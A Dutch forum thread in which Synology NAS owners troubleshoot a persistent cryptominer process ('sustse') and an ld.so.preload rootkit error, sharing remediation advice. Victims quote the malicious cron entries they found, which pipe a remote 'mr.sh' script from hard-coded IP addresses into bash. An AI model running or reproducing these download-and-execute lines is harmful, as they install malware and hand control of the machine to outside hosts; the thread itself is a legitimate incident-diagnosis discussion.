Process 'sustse' gebruikt volledige processor

[mbomhof]

Hi all,

sinds vanmorgen is het me opgevallen dat een voor mij onbekend proces de processor van mijn DS216+II volledig belast.

  PID USER      PR  NI    VIRT    RES  %CPU %MEM     TIME+ S COMMAND
 1974 root      20   0  262.1m   5.0m 182.2  0.6   0:40.36 S /var/tmp/sustse -c /var/tmp/wc.conf

Het killen van dit proces helpt en de processor wordt weer rustig.
Echter komt dit proces na een paar minuten weer terug.
Het verwijderen van 'sustse' en de config 'wc.conf' heeft geen effect, ook deze komen weer terug.

Een aantal zoekacties op Google levert me dit op, maar ik kan er geen wijs uit worden:
https://gist.github.com/5shekel/b54824ebd6be4bd75442e1480d5f68b2
https://www.digitalocean.com/community/questions/what-is-this-sustes-in-my-process-in-my-cpu-stats

Cronjobs als beschreven kan ik niet terug vinden...

Maar het lijkt er op dat mijn NAS als een of andere miner staat te stampen.
Niet waar ik hem graag voor wil inzetten en zeker niet door mij ingesteld.

Wie kan mij helpen dit proces voor eens en voor altijd te killen...?

[mbomhof]

Aanvulling:

op de locatie /etc/cron.hourly/ vind ik een bestand met de naam 'oanacroner1'.

met daarin de volgende regel:
(curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh

Het verwijderen van dit bestand heeft ook geen effect, komt na een paar minuten terug...

[Hofstede]

Je NAS is dus geïnfecteerd met malware. Ik zou een backup maken van je data en de NAS volledig opnieuw inrichten.

[mbomhof]

Dank voor de reactie.
Aangezien ik aardig wat draai op mijn NAS en ik er ook behoorlijk wat data op heb staan dat ik niet direct ergens anders kan opslaan, heeft dit natuurlijk niet mijn voorkeur.

Ik heb momenteel het ip adres in het bestand 'oanacroner1' in mijn firewall geblokkeerd en voorlopig zie ik het proces niet terug komen.

Ook heb ik het bestand verwijderd alsmede de bestanden /var/tmp/sustse en /var/tmp/wc.conf.
Ook die komen momenteel niet terug.

Mogelijk hiermee de tijd gewonnen om toch eens verder te zoeken naar een oplossing anders dan opnieuw inrichten...

[DSGebruiker]

Behoorlijk onrustwekkend dat op je NAS er malware is *kunnen* geinstalleerd worden !

[Briolet]

Aangezien ik aardig wat draai op mijn NAS en ik er ook behoorlijk wat data op heb staan dat ik niet direct ergens anders kan opslaan, heeft dit natuurlijk niet mijn voorkeur.

Op zich zal het opnieuw installeren van dsm, van de data op shares afblijven. De kans is dan redelijk dan je de miner kwijt raakt. Maar het blijft vervelend als je niet weet hoe de infectie is gestart. Dan kan het zo weer gebeuren. Staat ssh of telnet open? Dan zou je ook in het "bash_history.log" kunnen zoeken rond het moment van besmetting. (/var/log/bash_history.log)

[mc_]

[Mod edit: Vanaf hier uit een ander topic toegevoegd omdat dit over hetzelfde probleem blijkt te gaan]

Als ik inlog via SSH (met Putty), en wanneer ik commando's ingeef, krijg ik de volgende foutmelding:

Code: [Selecteer]

ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.

Als ik naar de betreffende directory ga dan tref ik het bestand libkk.so niet aan.

Af en toe krijg ik ook deze melding:

Code: [Selecteer]

ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (file too short): ignored.
(net een andere melding)

of deze:

Code: [Selecteer]

ERROR: ld.so: object '/usr/local/lib/libkk.so' from /etc/ld.so.preload cannot be preloaded (wrong ELF class: ELFCLASS64): ignored.

Ik vermoed dat het te maken heeft met de recente update van PHP5.6 (aangezien dat één van de weinige wijzigingen is geweest), maar wellicht is het ernstiger.

Iemand die bekend is met deze foutmelding?

[Birdy]

Verwacht niet dat dit door een update komt dus, het zou wel eens ernstig kunnen zijn, zoals een virus/worm.
Denk dat je even moet Googlen op die fout meldingen.
Ze komen weinig voor.

Overweging: DSM herinstalleren.

[Briolet]

Kwaadaardige software rommelt wel vaker met SSH.

Toevallig kwam ik deze vandaag tegen. Daar installeert kwaadaardige software, via een recent lek in een mailserver een ssh key zodat ze via ssh kunnen inloggen met rootrechten. Dat is via een Exim server en niet via postfix die Synology gebruikt voor Mailserver. (Ik weet niet waar mailserver plus op gebaseerd is. (Edit: geen Exim volgens Synology))

In elk geval reden om toch op korte termijn in jouw foutmelding te duiken.

[mc_]

Dat klinkt allemaal niet hoopgevend. Ik heb geen mailserver draaien, dus ik hoop dat ik die kan wegstrepen.

Saillant detail: AntiVirus is nu al meer dan een dag aan het initialiseren, dus scannen lukt ook niet op dit moment...

Ik kijk even waar Synology Support mee komt.

[mc_]

Toch even gaan kijken. Dit stond in /etc/cron.d/root

Code: [Selecteer]

*/1 * * * * root (curl -s http://107.173.102.59/mr.sh||wget -q -O - http://107.173.102.59/mr.sh)|bash -sh
##
En hetzelfde in een bestand genaamd oanacroner1 in /etc/cron.hourly/

Worm dus. Ik heb deze bestanden verwijderd.

Nog meer acties nodig, voor zover bekend?

[Birdy]

Ligt eraan wat mr.sh allemaal doet, dus geen idee.
Maar het SSH inloggen zal nog we fouten opleveren?

[mc_]

Ja, nog steeds dezelfde fouten. Maar AntiVirus werkt weer, dus eerst maar even een system scan.

[Pippin]

Haal de NAS van het netwerk af en zoek eens op "sustes".

Vraag je af hoe het op je NAS gekomen is.....

[mc_]

Ik heb inmiddels deze gevonden:

https://www.domoticz.com/forum/viewtopic.php?f=6&t=28329

Kan niet anders dan dit het is. Ik heb de meeste voorgestelde stappen gevolgd (niet alles lukt of tref ik aan).

De foutmelding is weg, maar nog even goed napluizen wat er eventueel nog achtergebleven kan zijn.

Iemand toevallig een step-by-step guide liggen hoe Domoticz als niet-root gebruiker te draaien?

EDIT: vraag is natuurlijk hoe Domoticz te draaien zonder root, niet Synology